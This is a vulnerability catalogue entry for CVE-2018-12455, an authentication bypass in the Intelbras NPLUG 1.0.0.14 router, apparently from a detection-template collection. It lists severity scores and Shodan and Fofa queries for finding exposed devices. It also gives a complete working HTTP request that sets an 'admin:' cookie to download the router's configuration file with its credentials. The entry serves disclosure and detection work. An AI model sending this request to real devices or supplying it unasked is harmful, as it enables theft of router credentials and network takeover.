| Title | Intelbras NPLUG 1.0.0.14 - Authentication Bypass |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information. |
| Remediation | Update the device firmware to the latest version. |
| CVSS Score | 8.1 |
| EPSS Score | 0.24004 |
| CVE ID | CVE-2018-12455 |
| CWE ID | CWE-287 |
| Shodan Query | html:"NPLUG" |
| Fofa Query | title="NPLUG" |
| Tags | cve cve2018 intelbras auth-bypass iot vuln |
Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named “admin:”.
GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Cookie: admin:
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-12455.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-12455.pcap
N/AN/A